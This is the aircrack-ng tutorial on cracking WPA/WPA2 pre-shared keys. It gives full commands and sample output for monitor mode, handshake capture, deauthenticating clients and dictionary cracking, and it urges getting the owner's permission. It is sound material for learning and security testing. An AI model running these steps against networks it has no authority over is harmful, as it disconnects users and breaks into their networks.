Aircrack-ng

Tutorial: How to Crack WPA/WPA2

Version: 1.20 March 07, 2010
By: darkAudax

Introduction

This tutorial walks you through cracking WPA/WPA2 networks which use pre-shared keys. I recommend you do some background reading to better understand what WPA/WPA2 is. The Wiki [http://aircrack-ng.org] links page has a WPA/WPA2 section. The best document describing WPA is Wi-Fi Security - WEP, WPA and WPA2 [http://www.hsc.fr/ressources/articles/hakin9_wifi/index.html.en]. This is the link [http://www.hsc.fr/ressources/articles/hakin9_wifi/hakin9_wifi_EN.pdf] to download the PDF directly. The WPA Packet Capture Explained tutorial is a companion to this tutorial.

WPA/WPA2 supports many types of authentication beyond pre-shared keys. aircrack-ng can ONLY crack pre-shared keys. So make sure airodump-ng shows the network as having the authentication type of PSK, otherwise, don't bother trying to crack it.

There is another important difference between cracking WPA/WPA2 and WEP. This is the approach used to crack the WPA/WPA2 pre-shared key. Unlike WEP, where statistical methods can be used to speed up the cracking process, only plain brute force techniques can be used against WPA/WPA2. That is, because the key is not static, so collecting IVs like when cracking WEP encryption, does not speed up the attack. The only thing that does give the information to start an attack is the handshake between client and AP. Handshaking is done when the client connects to the network. Although not absolutely true, for the purposes of this tutorial, consider it true. Since the pre-shared key can be from 8 to 63 characters in length, it effectively becomes impossible to crack the pre-shared key.

The only time you can crack the pre-shared key is if it is a dictionary word or relatively short in length. Conversely, if you want to have an unbreakable wireless network at home, use WPA/WPA2 and a 63 character password composed of random characters including special symbols.

The impact of having to use a brute force approach is substantial. Because it is very compute intensive, a computer can only test 50 to 300 possible keys per second depending on the computer CPU. It can take hours, if not days, to crunch through a large dictionary. If you are thinking about generating your own password list to cover all the permutations and combinations of characters and special symbols, check out this brute force time calculator [http://lastbit.com/pswcalc.asp] first. You will be very surprised at how much time is required.

IMPORTANT This means that the passphrase must be contained in the dictionary you are using to break WPA/WPA2. If it is not in the dictionary then aircrack-ng will be unable to determine the key.

There is no difference between cracking WPA or WPA2 networks. The authentication methodology is basically the same between them. So the techniques you use are identical.

It is recommended that you experiment with your home wireless access point to get familiar with these ideas and techniques. If you do not own a particular access point, please remember to get permission from the owner prior to playing with it.

Please send me any constructive feedback, positive or negative. Additional troubleshooting ideas and tips are especially welcome.

Assumptions

First, this solution assumes:

- You are using drivers patched for injection. Use the injection test to confirm your card can inject.
- You are physically close enough to send and receive access point and wireless client packets. Remember that just because you can receive packets from them does not mean you may will be able to transmit packets to them. The wireless card strength is typically less then the AP strength. So you have to be physically close enough for your transmitted packets to reach and be received by both the AP and the wireless client. You can confirm that you can communicate with the specific AP by following these instructions.
- You are using v0.9.1 or above of aircrack-ng. If you use a different version then some of the command options may have to be changed.

Ensure all of the above assumptions are true, otherwise the advice that follows will not work. In the examples below, you will need to change “ath0” to the interface name which is specific to your wireless card.

Equipment used

In this tutorial, here is what was used:

- MAC address of PC running aircrack-ng suite: 00:0F:B5:88:AC:82
- MAC address of the wireless client using WPA2: 00:0F:B5:FD:FB:C2
- BSSID (MAC address of access point): 00:14:6C:7E:40:80
- ESSID (Wireless network name): teddy
- Access point channel: 9
- Wireless interface: ath0

You should gather the equivalent information for the network you will be working on. Then just change the values in the examples below to the specific network.

Solution

Solution Overview

The objective is to capture the WPA/WPA2 authentication handshake and then use aircrack-ng to crack the pre-shared key.

This can be done either actively or passively. “Actively” means you will accelerate the process by deauthenticating an existing wireless client. “Passively” means you simply wait for a wireless client to authenticate to the WPA/WPA2 network. The advantage of passive is that you don't actually need injection capability and thus the Windows version of aircrack-ng can be used.

Here are the basic steps we will be going through:

1. Start the wireless interface in monitor mode on the specific AP channel
2. Start airodump-ng on AP channel with filter for bssid to collect authentication handshake
3. Use aireplay-ng to deauthenticate the wireless client
4. Run aircrack-ng to crack the pre-shared key using the authentication handshake

Step 1 - Start the wireless interface in monitor mode

The purpose of this step is to put your card into what is called monitor mode. Monitor mode is the mode whereby your card can listen to every packet in the air. Normally your card will only “hear” packets addressed to you. By hearing every packet, we can later capture the WPA/WPA2 4-way handshake. As well, it will allow us to optionally deauthenticate a wireless

client in a later step.

The exact procedure for enabling monitor mode varies depending on the driver you are using. To determine the driver (and the correct procedure to follow), run the following command:

```
airmon-ng
```

On a machine with a Ralink, an Atheros and a Broadcom wireless card installed, the system responds:

```
Interface       Chipset         Driver

rausb0          Ralink RT73     rt73
wlan0           Broadcom        b43 - [phy0]
wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0)
```

The presence of a [phy0] tag at the end of the driver name is an indicator for mac80211, so the Broadcom card is using a mac80211 driver. **Note that mac80211 is supported only since aircrack-ng v1.0-rc1, and it won't work with v0.9.1.** Both entries of the Atheros card show “madwifi-ng” as the driver - follow the madwifi-ng-specific steps to set up the Atheros card. Finally, the Ralink shows neither of these indicators, so it is using an ieee80211 driver - see the generic instructions for setting it up.

Step 1a - Setting up madwifi-ng

First stop ath0 by entering:

```
airmon-ng stop ath0
```

The system responds:

```
Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)
```

Enter “iwconfig” to ensure there are no other athX interfaces. It should look similar to this:

```
lo        no wireless extensions.

eth0      no wireless extensions.

wifi0     no wireless extensions.
```

If there are any remaining athX interfaces, then stop each one. When you are finished, run “iwconfig” to ensure there are none left.

Now, enter the following command to start the wireless card on channel 9 in monitor mode:

```
airmon-ng start wifi0 9
```

Note: In this command we use “wifi0” instead of our wireless interface of “ath0”. This is because the madwifi-ng drivers are being used.

The system will respond:

```
Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
```

You will notice that “ath0” is reported above as being put into monitor mode.

To confirm the interface is properly setup, enter “iwconfig”.

The system will respond:

```
lo        no wireless extensions.

wifi0     no wireless extensions.

eth0      no wireless extensions.

ath0      IEEE 802.11g  ESSID:""  Nickname:""
       Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82
       Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3
       Retry:off   RTS thr:off   Fragment thr:off
       Encryption key:off
       Power Management:off
       Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
       Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
       Tx excessive retries:0  Invalid misc:0   Missed beacon:0
```

In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. Only the madwifi-ng drivers show the card MAC address in the AP field, other drivers do not. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.

To match the frequency to the channel, check out: http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 [http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132] . This will give you the frequency for each channel.

Step 1b - Setting up mac80211 drivers

Unlike madwifi-ng, you do not need to remove the wlan0 interface when setting up mac80211 drivers. Instead, use the following command to set up your card in monitor mode on channel 9:

```
airmon-ng start wlan0 9
```

The system responds:

```
Interface       Chipset         Driver

wlan0           Broadcom        b43 - [phy0]
                                (monitor mode enabled on mon0)
```

Notice that airmon-ng enabled monitor-mode *on mon0*. So, the correct interface name to use in later parts of the tutorial is mon0. Wlan0 is still in regular (managed) mode, and can be used as usual, provided that the AP that wlan0 is connected to is on the same channel as the AP you are attacking, and you are not performing any channel-hopping.

To confirm successful setup, run “iwconfig”. The following output should appear:

```
lo        no wireless extensions.

eth0      no wireless extensions.

wmaster0  no wireless extensions.

wlan0     IEEE 802.11bg  ESSID:""
          Mode:Managed  Frequency:2.452 GHz  Access Point: Not-Associated
          Tx-Power=0 dBm
          Retry min limit:7   RTS thr:off   Fragment thr=2352 B
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
```

```
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

mon0      IEEE 802.11bg  Mode:Monitor  Frequency:2.452 GHz  Tx-Power=0 dBm
          Retry min limit:7   RTS thr:off   Fragment thr=2352 B
          Encryption key:off
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0
```

Here, mon0 is seen as being in monitor mode, on channel 9 (2.452GHz). Unlike madwifi-ng, the monitor interface has no Access Point field at all. Also notice that wlan0 is still present, and in managed mode - this is normal. Because both interfaces share a common radio, they must always be tuned to the same channel - changing the channel on one interface also changes channel on the other one.

Step 1c - Setting up other drivers

For other (ieee80211-based) drivers, simply run the following command to enable monitor mode (replace rausb0 with your interface name):

```
airmon-ng start rausb0 9
```

The system responds:

```
Interface       Chipset         Driver

rausb0          Ralink          rt73 (monitor mode enabled)
```

At this point, the interface should be ready to use.

Step 2 - Start airodump-ng to collect authentication handshake

The purpose of this step is to run airodump-ng to capture the 4-way authentication handshake for the AP we are interested in.

Enter:

```
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0
```

Where:

- -c 9 is the channel for the wireless network
- --bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminates extraneous traffic.
- -w psk is the file name prefix for the file which will contain the IVs.
- ath0 is the interface name.

Important: Do NOT use the "--ivs" option. You must capture the full packets.

Here what it looks like if a wireless client is connected to the network:

```
 CH  9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

 00:14:6C:7E:40:80   39 100       51      116   14   9  54  WPA2 CCMP   PSK  teddy

 BSSID              STATION            PWR  Lost  Packets  Probes

 00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35     0      116
```

In the screen above, notice the "WPA handshake: 00:14:6C:7E:40:80" in the top right-hand corner. This means airodump-ng has successfully captured the four-way handshake.

Here it is with no connected wireless clients:

```
CH  9 ][ Elapsed: 4 s ][ 2007-03-24 17:51

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

00:14:6C:7E:40:80   39 100       51        0    0   9  54  WPA2 CCMP   PSK  teddy

BSSID              STATION            PWR  Lost  Packets  Probes
```

Troubleshooting Tip

See the Troubleshooting Tips section below for ideas.

To see if you captured any handshake packets, there are two ways. Watch the airodump-ng screen for " WPA handshake: 00:14:6C:7E:40:80" in the top right-hand corner. This means a four-way handshake was successfully captured. See just above for an example screenshot.

Use Wireshark and apply a filter of "eapol". This displays only eapol packets you are interested in. Thus you can see if capture contains 0,1,2,3 or 4 eapol packets.

Step 3 - Use aireplay-ng to deauthenticate the wireless client

This step is optional. If you are patient, you can wait until airodump-ng captures a handshake when one or more clients connect to the AP. You only perform this step if you opted to actively speed up the process. The other constraint is that there must be a wireless client currently associated with the AP. If there is no wireless client currently associated with the AP, then you have to be patient and wait for one to connect to the AP so that a handshake can be captured. Needless to say, if a wireless client shows up later and airodump-ng did not capture the handshake, you can backtrack and perform this step.

This step sends a message to the wireless client saying that that it is no longer associated with the AP. The wireless client will then hopefully reauthenticate with the AP. The reauthentication is what generates the 4-way authentication handshake we are interested in collecting. This is what we use to break the WPA/WPA2 pre-shared key.

Based on the output of airodump-ng in the previous step, you determine a client which is currently connected. You need the MAC address for the following. Open another console session and enter:

```
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0
```

Where:

- -0 means deauthentication
- 1 is the number of deauths to send (you can send multiple if you wish)
- -a 00:14:6C:7E:40:80 is the MAC address of the access point
- -c 00:0F:B5:FD:FB:C2 is the MAC address of the client you are deauthing
- ath0 is the interface name

Here is what the output looks like:

```
11:09:28  Sending DeAuth to station   -- STMAC: [00:0F:B5:34:30:30]
```

With luck this causes the client to reauthenticate and yield the 4-way handshake.

Troubleshooting Tips

- The deauthentication packets are sent directly from your PC to the clients. So you must be physically close enough to the clients for your wireless card transmissions to reach them. To confirm the client received the deauthentication packets, use tcpdump or similar to look for ACK packets back from the client. If you did not get an ACK packet back,

then the client did not “hear” the deauthentication packet.

Step 4 - Run aircrack-ng to crack the pre-shared key

The purpose of this step is to actually crack the WPA/WPA2 pre-shared key. To do this, you need a dictionary of words as input. Basically, aircrack-ng takes each word and tests to see if this is in fact the pre-shared key.

There is a small dictionary that comes with aircrack-ng - “password.lst”. This file can be found in the “test” directory of the aircrack-ng source code. The Wiki FAQ has an extensive list of dictionary sources. You can use John the Ripper [http://www.openwall.com/john/] (JTR) to generate your own list and pipe them into aircrack-ng. Using JTR in conjunction with aircrack-ng is beyond the scope of this tutorial.

Open another console session and enter:

```
aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap
```

Where:

- -w password.lst is the name of the dictionary file. Remember to specify the full path if the file is not located in the same directory.
- *.cap is name of group of files containing the captured packets. Notice in this case that we used the wildcard * to include multiple files.

Here is typical output when there are no handshakes found:

```
Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 1827 packets.

No valid WPA handshakes found.
```

When this happens you either have to redo step 3 (deauthenticating the wireless client) or wait longer if you are using the passive approach. When using the passive approach, you have to wait until a wireless client authenticates to the AP.

Here is typical output when handshakes are found:

```
Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 1827 packets.

#  BSSID              ESSID                     Encryption

1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)

Choosing first network as target.
```

Now at this point, aircrack-ng will start attempting to crack the pre-shared key. Depending on the speed of your CPU and the size of the dictionary, this could take a long time, even days.

Here is what successfully cracking the pre-shared key looks like:

```
                              Aircrack-ng 0.8

                    [00:00:00] 2 keys tested (37.20 k/s)

                           KEY FOUND! [ 12345678 ]
```

```
Master Key     : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E
                 B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD

Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98
                 CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40
                 FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E
                 2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71

EAPOL HMAC     : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB
```

Troubleshooting Tips

I Cannot Capture the Four-way Handshake!

It can sometimes be tricky to capture the four-way handshake. Here are some troubleshooting tips to address this:

- Your monitor card must be in the same mode as the both the client and Access Point. So, for example, if your card was in “B” mode and the client/AP were using “G” mode, then you would not capture the handshake. This is especially important for new APs and clients which may be “turbo” mode and/or other new standards. Some drivers allow you to specify the mode. Also, iwconfig has an option “modulation” that can sometimes be used. Do “man iwconfig” to see the options for “modulation”. For information, 1, 2, 5.5 and 11Mbit are 'b', 6, 9, 12, 18, 24, 36, 48, 54Mbit are 'g'.
- Sometimes you also need to set the monitor-mode card to the same speed. IE auto, 1MB, 2MB, 11MB, 54MB, etc.
- Be sure that your capture card is locked to the same channel as the AP. You can do this by specifying “-c <channel of AP>” when you start airodump-ng.
- Be sure there are no connection managers running on your system. This can change channels and/or change mode without your knowledge.
- You are physically close enough to receive both access point and wireless client packets. The wireless card strength is typically less then the AP strength.
- Conversely, if you are too close then the received packets can be corrupted and discarded. So you cannot be too close.
- Make sure to use the drivers specified on the wiki. Depending on the driver, some old versions do not capture all packets.
- Ideally, connect and disconnect a wireless client normally to generate the handshake.
- If you use the deauth technique, send the absolute minimum of packets to cause the client to reauthenticate. Normally this is a single deauth packet. Sending an excessive number of deauth packets may cause the client to fail to reconnect and thus it will not generate the four-way handshake. As well, use directed deauths, not broadcast. To confirm the client received the deauthentication packets, use tcpdump or similar to look for ACK packets back from the client. If you did not get an ACK packet back, then the client did not “hear” the deauthentication packet.
- Try stopping the radio on the client station then restarting it.
- Make sure you are not running any other program/process that could interfere such as connection managers, Kismet, etc.
- Review your captured data using the WPA Packet Capture Explained tutorial to see if you can identify the problem. Such as missing AP packets, missing client packets, etc.

Unfortunately, sometimes you need to experiment a bit to get your card to properly capture the four-way handshake. The point is, if you don't get it the first time, have patience and experiment a bit. It can be done!

Another approach is to use Wireshark to review and analyze your packet capture. This can sometimes give you clues as to what is wrong and thus some ideas on how to correct it. The WPA Packet Capture Explained tutorial is a companion to this tutorial and walks you through what a “normal” WPA connection looks like. As well, see the FAQ for detailed information on how to use Wireshark.

In an ideal world, you should use a wireless device dedicated to capturing the packets. This is because some drivers such as

the RTL8187L driver do not capture packets the card itself sends. Also, always use the driver versions specified on the wiki. This is because some older versions of the drivers such as the RT73 driver did not capture client packets.

When using Wireshark, the filter “eapol” will quickly display only the EAPOL packets. Based on what EAPOL packets are actually in the capture, determine your correction plan. For example, if you are missing the client packets then try to determine why and how to collect client packets.

To dig deep into the packet analysis, you must start airodump-ng without a BSSID filter and specify the capture of the full packet, not just IVs. Needless to say, it must be locked to the AP channel. The reason for eliminating the BSSID filter is to ensure all packets including acknowledgments are captured. With a BSSID filter, certain packets are dropped from the capture.

Every packet sent by client or AP must be acknowledged. This is done with an “acknowledgment” packet which has a destination MAC of the device which sent the original packet. If you are trying to deauthenticate a client, one thing to check is that you receive the “ack” packet. This confirms the client received the deauth packet. Failure to receive the “ack” packet likely means that the client is out of transmission range. Thus failure.

When it comes to analyzing packet captures, it is impossible to provide detailed instructions. I have touched on some techniques and areas to look at. This is an area which requires effort to build your skills on both WPA/WPA2 plus how to use Wireshark.

aircrack-ng says "0 handshakes"

Check the “I Cannot Capture the Four-way Handshake!” troubleshooting tip.

aircrack-ng says "No valid WPA handshakes found"

Check the “I Cannot Capture the Four-way Handshake!” troubleshooting tip.
